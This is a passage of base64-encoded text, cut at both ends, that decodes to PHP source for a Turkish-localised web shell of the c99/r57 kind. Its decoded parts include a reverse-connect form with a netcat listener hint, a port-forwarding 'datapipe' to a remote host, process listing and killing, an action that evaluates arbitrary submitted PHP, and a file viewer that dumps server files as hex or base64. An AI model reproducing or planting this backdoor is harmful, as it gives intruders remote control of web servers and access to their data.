iZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPWJjc3VibWl0IHZhbHVlPSJDb25uZWN0Ij48L2Zvcm0+DQo8Yj5uYyAtbCAtbiAtdiAtcCA8P3BocCBlY2hvICRiY19wb3J0OyA/PjwvYj4iITxicj48YnI+DQo8Yj5EYXRhcGlwZTo8L2I+PGJyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT10b29scz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSI8P3BocCBlY2hvICRkOyA/PiI+SE9TVDogPGlucHV0IHR5cGU9dGV4dCBuYW1lPSJkYXRhcGlwZVtyZW1vdGVhZGRyXSIgdmFsdWU9Ijw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGF0YXBpcGVbInJlbW90ZWFkZHIiXSk7ID8+Ij4mbmJzcDtMb2NhbCBwb3J0OiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9ImRhdGFwaXBlW2xvY2FscG9ydF0iIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGRhdGFwaXBlWyJsb2NhbHBvcnQiXSk7ID8+Ij4mbmJzcDs8c2VsZWN0IG5hbWU9ImRhdGFwaXBlW3NyY10iPjw/cGhwDQpmb3JlYWNoKCRkcHNyY3MgYXMgJGs9PiR2KSB7ZWNobyAiPG9wdGlvbiB2YWx1ZT1cIiIuJGsuIlwiIjsgaWYgKCRrID09ICRiY1sic3JjIl0pIHtlY2hvICIgc2VsZWN0ZWQiO30gZWNobyAiPiIuJHZbMF0uIjwvb3B0aW9uPiI7fQ0KPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1kcHN1Ym1pdCB2YWx1ZT0iUnVuIj48L2Zvcm0+PGI+Tm90ZTo8L2I+IFV6YWsgU2VydmVyZGVuIGtheW5hayBrb2R1IGluZGlyaWxtaXN0aXIuPD9waHANCn0NCmlmICgkYWN0ID09ICJwcm9jZXNzZXMiKQ0Kew0KIGVjaG8gIjxiPlByb2Nlc3Nlczo8L2I+PGJyPiI7DQogaWYgKCEkd2luKSB7JGhhbmRsZXIgPSAicHMgLWF1eCIuKCRncmVwPyIgfCBncmVwICciLmFkZHNsYXNoZXMoJGdyZXApLiInIjoiIik7fQ0KIGVsc2UgeyRoYW5kbGVyID0gInRhc2tsaXN0Ijt9DQogJHJldCA9IG15c2hlbGxleGVjKCRoYW5kbGVyKTsNCiBpZiAoISRyZXQpIHtlY2hvICJVeWd1bGFuYW1hZGkgXCIiLiRoYW5kbGVyLiJcIiEiO30NCiBlbHNlDQogew0KICBpZiAoZW1wdHkoJHByb2Nlc3Nlc19zb3J0KSkgeyRwcm9jZXNzZXNfc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KICAkcGFyc2Vzb3J0ID0gcGFyc2Vzb3J0KCRwcm9jZXNzZXNfc29ydCk7DQogIGlmICghaXNfbnVtZXJpYygkcGFyc2Vzb3J0WzBdKSkgeyRwYXJzZXNvcnRbMF0gPSAwO30NCiAgJGsgPSAkcGFyc2Vzb3J0WzBdOw0KICBpZiAoJHBhcnNlc29ydFsxXSAhPSAiYSIpIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iYVwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9kZXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7fQ0KICBlbHNlIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9DQogICRyZXQgPSBodG1sc3BlY2lhbGNoYXJzKCRyZXQpOw0KICBpZiAoISR3aW4pDQogIHsNCiAgIGlmICgkcGlkKQ0KICAgew0KICAgIGlmIChpc19udWxsKCRzaWcpKSB7JHNpZyA9IDk7fQ0KICAgIGVjaG8gIlNpbnlhbCB5b2xsYW5peW9yICIuJHNpZy4iIC0tPiAjIi4kcGlkLiIuLi4gIjsNCiAgICBpZiAocG9zaXhfa2lsbCgkcGlkLCRzaWcpKSB7ZWNobyAiVGFtYW0uIjt9DQogICAgZWxzZSB7ZWNobyAiSGF0YS4iO30NCiAgIH0NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiICIsJHJldCk7fQ0KICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgJGhlYWQgPSBleHBsb2RlKCIgIiwkc3RhY2tbMF0pOw0KICAgdW5zZXQoJHN0YWNrWzBdKTsNCiAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKQ0KICAgew0KICAgIGlmICgkaSAhPSAkaykgeyRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj48Yj4iLiRoZWFkWyRpXS4iPC9iPjwvYT4iO30NCiAgIH0NCiAgICRwcmNzID0gYXJyYXkoKTsNCiAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkNCiAgIHsNCiAgICBpZiAoIWVtcHR5KCRsaW5lKSkNCgl7DQoJIGVjaG8gIjx0cj4iOw0KICAgICAkbGluZSA9IGV4cGxvZGUoIiAiLCRsaW5lKTsNCiAgICAgJGxpbmVbMTBdID0gam9pbigiICIsYXJyYXlfc2xpY2UoJGxpbmUsMTApKTsNCiAgICAgJGxpbmUgPSBhcnJheV9zbGljZSgkbGluZSwwLDExKTsNCiAgICAgaWYgKCRsaW5lWzBdID09IGdldF9jdXJyZW50X3VzZXIoKSkgeyRsaW5lWzBdID0gIjxmb250IGNvbG9yPWdyZWVuPiIuJGxpbmVbMF0uIjwvZm9udD4iO30NCiAgICAgJGxpbmVbXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PXByb2Nlc3NlcyZkPSIudXJsZW5jb2RlKCRkKS4iJnBpZD0iLiRsaW5lWzFdLiImc2lnPTlcIj48dT5LSUxMPC91PjwvYT4iOw0KICAgICAkcHJjc1tdID0gJGxpbmU7DQogICAgIGVjaG8gIjwvdHI+IjsNCiAgICB9DQogICB9DQogIH0NCiAgZWxzZQ0KICB7DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIgkiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiCSIsJHJldCk7fQ0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIJIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIgkiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiCSIsJHJldCk7fQ0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIJIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiICAiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIgICIsIgkiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIgICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwiCSIsJHJldCk7fQ0KICAgd2hpbGUgKGVyZWcoIiAgIiwkcmV0KSkgeyRyZXQgPSBzdHJfcmVwbGFjZSgiICAiLCIJIiwkcmV0KTt9DQogICB3aGlsZSAoZXJlZygiCQkiLCRyZXQpKSB7JHJldCA9IHN0cl9yZXBsYWNlKCIJCSIsIgkiLCRyZXQpO30NCiAgIHdoaWxlIChlcmVnKCIJICIsJHJldCkpIHskcmV0ID0gc3RyX3JlcGxhY2UoIgkgIiwiCSIsJHJldCk7fQ0KICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCJkIiwidyIpOw0KICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCRyZXQpOw0KICAgdW5zZXQoJHN0YWNrWzBdLCRzdGFja1syXSk7DQogICAkc3RhY2sgPSBhcnJheV92YWx1ZXMoJHN0YWNrKTsNCiAgICRoZWFkID0gZXhwbG9kZSgiCSIsJHN0YWNrWzBdKTsNCiAgICRoZWFkWzFdID0gZXhwbG9kZSgiICIsJGhlYWRbMV0pOw0KICAgJGhlYWRbMV0gPSAkaGVhZFsxXVswXTsNCiAgICRzdGFjayA9IGFycmF5X3NsaWNlKCRzdGFjaywxKTsNCiAgIHVuc2V0KCRoZWFkWzJdKTsNCiAgICRoZWFkID0gYXJyYXlfdmFsdWVzKCRoZWFkKTsNCiAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJhIikgeyR5ID0gIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9Ii4kZHNwYWN0LiImZD0iLnVybGVuY29kZSgkZCkuIiZwcm9jZXNzZXNfc29ydD0iLiRrLiJhXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1zb3J0X2Rlc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9DQogICBlbHNlIHskeSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kay4iZFwiPjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c29ydF9hc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+Ijt9DQogICBpZiAoJGsgPiBjb3VudCgkaGVhZCkpIHskayA9IGNvdW50KCRoZWFkKS0xO30NCiAgIGZvcigkaT0wOyRpPGNvdW50KCRoZWFkKTskaSsrKQ0KICAgew0KICAgIGlmICgkaSAhPSAkaykgeyRoZWFkWyRpXSA9ICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PSIuJGRzcGFjdC4iJmQ9Ii51cmxlbmNvZGUoJGQpLiImcHJvY2Vzc2VzX3NvcnQ9Ii4kaS4kcGFyc2Vzb3J0WzFdLiJcIj48Yj4iLnRyaW0oJGhlYWRbJGldKS4iPC9iPjwvYT4iO30NCiAgIH0NCiAgICRwcmNzID0gYXJyYXkoKTsNCiAgIGZvcmVhY2ggKCRzdGFjayBhcyAkbGluZSkNCiAgIHsNCiAgICBpZiAoIWVtcHR5KCRsaW5lKSkNCiAgICB7DQogICAgIGVjaG8gIjx0cj4iOw0KICAgICAkbGluZSA9IGV4cGxvZGUoIgkiLCRsaW5lKTsNCiAgICAgJGxpbmVbMV0gPSBpbnR2YWwoJGxpbmVbMV0pOyAkbGluZVsyXSA9ICRsaW5lWzNdOyB1bnNldCgkbGluZVszXSk7DQogICAgICRsaW5lWzJdID0gaW50dmFsKHN0cl9yZXBsYWNlKCIgIiwiIiwkbGluZVsyXSkpKjEwMjQ7IA0KICAgICAkcHJjc1tdID0gJGxpbmU7DQogICAgIGVjaG8gIjwvdHI+IjsNCiAgICB9DQogICB9DQogIH0NCiAgJGhlYWRbJGtdID0gIjxiPiIuJGhlYWRbJGtdLiI8L2I+Ii4keTsNCiAgJHYgPSAkcHJvY2Vzc2VzX3NvcnRbMF07DQogIHVzb3J0KCRwcmNzLCJ0YWJzb3J0Iik7DQogIGlmICgkcHJvY2Vzc2VzX3NvcnRbMV0gPT0gImQiKSB7JHByY3MgPSBhcnJheV9yZXZlcnNlKCRwcmNzKTt9DQogICR0YWIgPSBhcnJheSgpOw0KICAkdGFiW10gPSAkaGVhZDsNCiAgJHRhYiA9IGFycmF5X21lcmdlKCR0YWIsJHByY3MpOw0KICBlY2hvICI8VEFCTEUgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29sb3I9IzMzMzMzMyBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEgYm9yZGVyY29sb3I9XCIjQzBDMEMwXCI+IjsNCiAgZm9yZWFjaCgkdGFiIGFzICRpPT4kaykNCiAgew0KICAgZWNobyAiPHRyPiI7DQogICBmb3JlYWNoKCRrIGFzICRqPT4kdikge2lmICgkd2luIGFuZCAkaSA+IDAgYW5kICRqID09IDIpIHskdiA9IHZpZXdfc2l6ZSgkdik7fSBlY2hvICI8dGQ+Ii4kdi4iPC90ZD4iO30NCiAgIGVjaG8gIjwvdHI+IjsNCiAgfQ0KICBlY2hvICI8L3RhYmxlPiI7DQogfQ0KfQ0KaWYgKCRhY3QgPT0gImV2YWwiKQ0Kew0KIGlmICghZW1wdHkoJGV2YWwpKQ0KIHsNCiAgZWNobyAiPGI+UmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIFBIUC1jb2RlPC9iPjo8YnI+IjsNCiAgJHRtcCA9IG9iX2dldF9jb250ZW50cygpOw0KICAkb2xkZGlyID0gcmVhbHBhdGgoIi4iKTsNCiAgQGNoZGlyKCRkKTsNCiAgaWYgKCR0bXApDQogIHsNCiAgIG9iX2NsZWFuKCk7DQogICBldmFsKCRldmFsKTsNCiAgICRyZXQgPSBvYl9nZXRfY29udGVudHMoKTsNCiAgICRyZXQgPSBjb252ZXJ0X2N5cl9zdHJpbmcoJHJldCwiZCIsInciKTsNCiAgIG9iX2NsZWFuKCk7DQogICBlY2hvICR0bXA7DQogICBpZiAoJGV2YWxfdHh0KQ0KICAgew0KICAgICRyb3dzID0gY291bnQoZXhwbG9kZSgiXHJcbiIsJHJldCkpKzE7DQogICAgaWYgKCRyb3dzIDwgMTApIHskcm93cyA9IDEwO30NCiAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiIi4kcm93cy4iXCIgcmVhZG9ubHk+Ii5odG1sc3BlY2lhbGNoYXJzKCRyZXQpLiI8L3RleHRhcmVhPiI7DQogICB9DQogICBlbHNlIHtlY2hvICRyZXQuIjxicj4iO30NCiAgfQ0KICBlbHNlDQogIHsNCiAgIGlmICgkZXZhbF90eHQpDQogICB7DQogICAgZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTIyXCIgcm93cz1cIjE1XCIgcmVhZG9ubHk+IjsNCiAgICBldmFsKCRldmFsKTsNCiAgICBlY2hvICI8L3RleHRhcmVhPiI7DQogICB9DQogICBlbHNlIHtlY2hvICRyZXQ7fQ0KICB9DQogIEBjaGRpcigkb2xkZGlyKTsNCiB9DQogZWxzZSB7ZWNobyAiPGI+RXhlY3V0aW9uIFBIUC1jb2RlPC9iPiI7IGlmIChlbXB0eSgkZXZhbF90eHQpKSB7JGV2YWxfdHh0ID0gdHJ1ZTt9fQ0KIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFjdCB2YWx1ZT1ldmFsPjx0ZXh0YXJlYSBuYW1lPVwiZXZhbFwiIGNvbHM9XCIxMjJcIiByb3dzPVwiMTBcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGV2YWwpLiI8L3RleHRhcmVhPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwiZFwiIHZhbHVlPVwiIi4kZGlzcGQuIlwiPjxicj48YnI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiVGFtYW1cIj4mbmJzcDtEaXNwbGF5IGluIHRleHQtYXJlYSZuYnNwOzxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiZXZhbF90eHRcIiB2YWx1ZT1cIjFcIiI7IGlmICgkZXZhbF90eHQpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PC9mb3JtPiI7DQp9DQppZiAoJGFjdCA9PSAiZiIpDQp7DQogaWYgKCghaXNfcmVhZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKQ0KIHsNCiAgaWYgKGZpbGVfZXhpc3RzKCRkLiRmKSkge2VjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIGRlbmllZCAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8L2I+PC9jZW50ZXI+Ijt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+RmlsZSBkb2VzIG5vdCBleGlzdHMgKCIuaHRtbHNwZWNpYWxjaGFycygkZC4kZikuIikhPC9iPjxicj48YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1lZGl0JmQ9Ii51cmxlbmNvZGUoJGQpLiImYz0xXCI+PHU+T2x1c3R1cjwvdT48L2E+PC9jZW50ZXI+Ijt9DQogfQ0KIGVsc2UNCiB7DQogICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsNCiAgJGMgPSBjb3VudCgkZXh0KS0xOw0KICAkZXh0ID0gJGV4dFskY107DQogICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAkcmZ0ID0gIiI7DQogIGZvcmVhY2goJGZ0eXBlcyBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJGV4dCwkdikpIHskcmZ0ID0gJGs7IGJyZWFrO319DQogIGlmIChlcmVnaSgic2Vzc18oLiopIiwkZikpIHskcmZ0ID0gInBocHNlc3MiO30NCiAgaWYgKGVtcHR5KCRmdCkpIHskZnQgPSAkcmZ0O30NCiAgJGFyciA9IGFycmF5KA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2RpelwiIGJvcmRlcj1cIjBcIj4iLCJpbmZvIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfaHRtbFwiIGJvcmRlcj1cIjBcIj4iLCJodG1sIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfdHh0XCIgYm9yZGVyPVwiMFwiPiIsInR4dCIpLA0KICAgYXJyYXkoIkNvZGUiLCJjb2RlIiksDQogICBhcnJheSgiU2Vzc2lvbiIsInBocHNlc3MiKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWV4dF9leGVcIiBib3JkZXI9XCIwXCI+IiwiZXhlIiksDQogICBhcnJheSgiU0RCIiwic2RiIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfZ2lmXCIgYm9yZGVyPVwiMFwiPiIsImltZyIpLA0KICAgYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0X2luaVwiIGJvcmRlcj1cIjBcIj4iLCJpbmkiKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWRvd25sb2FkXCIgYm9yZGVyPVwiMFwiPiIsImRvd25sb2FkIiksDQogICBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1leHRfcnRmXCIgYm9yZGVyPVwiMFwiPiIsIm5vdGVwYWQiKSwNCiAgIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWNoYW5nZVwiIGJvcmRlcj1cIjBcIj4iLCJlZGl0IikNCiAgKTsNCiAgZWNobyAiPGI+Vmlld2luZyBmaWxlOiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9ZXh0XyIuJGV4dC4iXCIgYm9yZGVyPVwiMFwiPiZuYnNwOyIuJGYuIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iKSAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2I+PGJyPlNlbGVjdCBhY3Rpb24vZmlsZS10eXBlOjxicj4iOw0KICBmb3JlYWNoKCRhcnIgYXMgJHQpDQogIHsNCiAgIGlmICgkdFsxXSA9PSAkcmZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGZvbnQgY29sb3I9Z3JlZW4+Ii4kdFswXS4iPC9mb250PjwvYT4iO30NCiAgIGVsc2VpZiAoJHRbMV0gPT0gJGZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+PGI+PHU+Ii4kdFswXS4iPC91PjwvYj48L2E+Ijt9DQogICBlbHNlIHtlY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9Ii4kdFsxXS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj48Yj4iLiR0WzBdLiI8L2I+PC9hPiI7fQ0KICAgZWNobyAiICg8YSBocmVmPVwiIi4kc3VybC4iYWN0PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImd2hpdGU9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCIgdGFyZ2V0PVwiX2JsYW5rXCI+KzwvYT4pIHwiOw0KICB9DQogIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgaWYgKCRmdCA9PSAiaW5mbyIpDQogIHsNCiAgIGVjaG8gIjxiPkluZm9ybWF0aW9uOjwvYj48dGFibGUgYm9yZGVyPTAgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz0yPjx0cj48dGQ+PGI+UGF0aDwvYj48L3RkPjx0ZD4gIi4kZC4kZi4iPC90ZD48L3RyPjx0cj48dGQ+PGI+U2l6ZTwvYj48L3RkPjx0ZD4gIi52aWV3X3NpemUoZmlsZXNpemUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+TUQ1PC9iPjwvdGQ+PHRkPiAiLm1kNV9maWxlKCRkLiRmKS4iPC90ZD48L3RyPiI7DQogICBpZiAoISR3aW4pDQogICB7DQogICAgZWNobyAiPHRyPjx0ZD48Yj5Pd25lci9Hcm91cDwvYj48L3RkPjx0ZD4gIjsgICAgDQogICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkLiRmKSk7DQogICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkLiRmKSk7DQogICAgZWNobyAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkLiRmKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQuJGYpKTsNCiAgIH0NCiAgIGVjaG8gIjx0cj48dGQ+PGI+UGVybXM8L2I+PC90ZD48dGQ+PGEgaHJlZj1cIiIuJHN1cmwuImFjdD1jaG1vZCZmPSIudXJsZW5jb2RlKCRmKS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4iLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2E+PC90ZD48L3RyPjx0cj48dGQ+PGI+T2x1c3R1ciB0aW1lPC9iPjwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlY3RpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjx0cj48dGQ+PGI+QWNjZXNzIHRpbWU8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD48Yj5Nb2RpZml5ZSBaYW1hbmk8L2I+PC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVtdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCiAgICRmaSA9IGZvcGVuKCRkLiRmLCJyYiIpOw0KICAgaWYgKCRmaSkNCiAgIHsNCiAgICBpZiAoJGZ1bGxoZXhkdW1wKSB7ZWNobyAiPGI+RlVMTCBIRVhEVU1QPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksZmlsZXNpemUoJGQuJGYpKTt9DQogICAgZWxzZSB7ZWNobyAiPGI+SEVYRFVNUCBQUkVWSUVXPC9iPiI7ICRzdHIgPSBmcmVhZCgkZmksJGhleGR1bXBfbGluZXMqJGhleGR1bXBfcm93cyk7fQ0KICAgICRuID0gMDsNCiAgICAkYTAgPSAiMDAwMDAwMDA8YnI+IjsNCiAgICAkYTEgPSAiIjsNCiAgICAkYTIgPSAiIjsNCiAgICBmb3IgKCRpPTA7ICRpPHN0cmxlbigkc3RyKTsgJGkrKykNCiAgICB7DQogICAgICRhMSAuPSBzcHJpbnRmKCIlMDJYIixvcmQoJHN0clskaV0pKS4iICI7DQogICAgIHN3aXRjaCAob3JkKCRzdHJbJGldKSkNCiAgICAgew0KICAgICAgY2FzZSAwOiAgJGEyIC49ICI8Zm9udD4wPC9mb250PiI7IGJyZWFrOw0KICAgICAgY2FzZSAzMjoNCiAgICAgIGNhc2UgMTA6DQogICAgICBjYXNlIDEzOiAkYTIgLj0gIiZuYnNwOyI7IGJyZWFrOw0KICAgICAgZGVmYXVsdDogJGEyIC49IGh0bWxzcGVjaWFsY2hhcnMoJHN0clskaV0pOw0KICAgICB9DQogICAgICRuKys7DQogICAgIGlmICgkbiA9PSAkaGV4ZHVtcF9yb3dzKQ0KICAgICB7DQogICAgICAkbiA9IDA7DQogICAgICBpZiAoJGkrMSA8IHN0cmxlbigkc3RyKSkgeyRhMCAuPSBzcHJpbnRmKCIlMDhYIiwkaSsxKS4iPGJyPiI7fQ0KICAgICAgJGExIC49ICI8YnI+IjsNCiAgICAgICRhMiAuPSAiPGJyPiI7DQogICAgIH0NCiAgICB9DQogICAgLy9pZiAoJGExICE9ICIiKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKS4iPGJyPiI7fQ0KICAgIGVjaG8gIjx0YWJsZSBib3JkZXI9MCBiZ2NvbG9yPSM2NjY2NjYgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz00Pjx0cj48dGQgYmdjb2xvcj0jNjY2NjY2PiIuJGEwLiI8L3RkPjx0ZCBiZ2NvbG9yPTAwMDAwMD4iLiRhMS4iPC90ZD48dGQgYmdjb2xvcj0wMDAwMDA+Ii4kYTIuIjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgfQ0KICAgJGVuY29kZWQgPSAiIjsNCiAgIGlmICgkYmFzZTY0ID09IDEpDQogICB7DQogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZTwvYj48YnI+IjsNCiAgICAkZW5jb2RlZCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKTsNCiAgIH0NCiAgIGVsc2VpZigkYmFzZTY0ID09IDIpDQogICB7DQogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rPC9iPjxicj4iOw0KICAgICRlbmNvZGVkID0gY2h1bmtfc3BsaXQoYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpKTsNCiAgIH0NCiAgIGVsc2VpZigkYmFzZTY0ID09IDMpDQogICB7DQogICAgZWNobyAiPGI+QmFzZTY0IEVuY29kZSArIENodW5rICsgUXVvdGVzPC9iPjxicj4iOw0KICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOw0KICAgICRlbmNvZGVkID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRlbmNvZGVkKSwwLC0yKTsNCiAgIH0NCiAgIGVsc2VpZigkYmFzZTY0ID09IDQpDQogICB7DQogICAgJHRleHQgPSBmaWxlX2dldF9jb250ZW50cygkZC4kZik7DQogICAgJGVuY29kZWQgPSBiYXNlNjRfZGVjb2RlKCR0ZXh0KTsNCiAgICBlY2hvICI8Yj5CYXNlNjQgR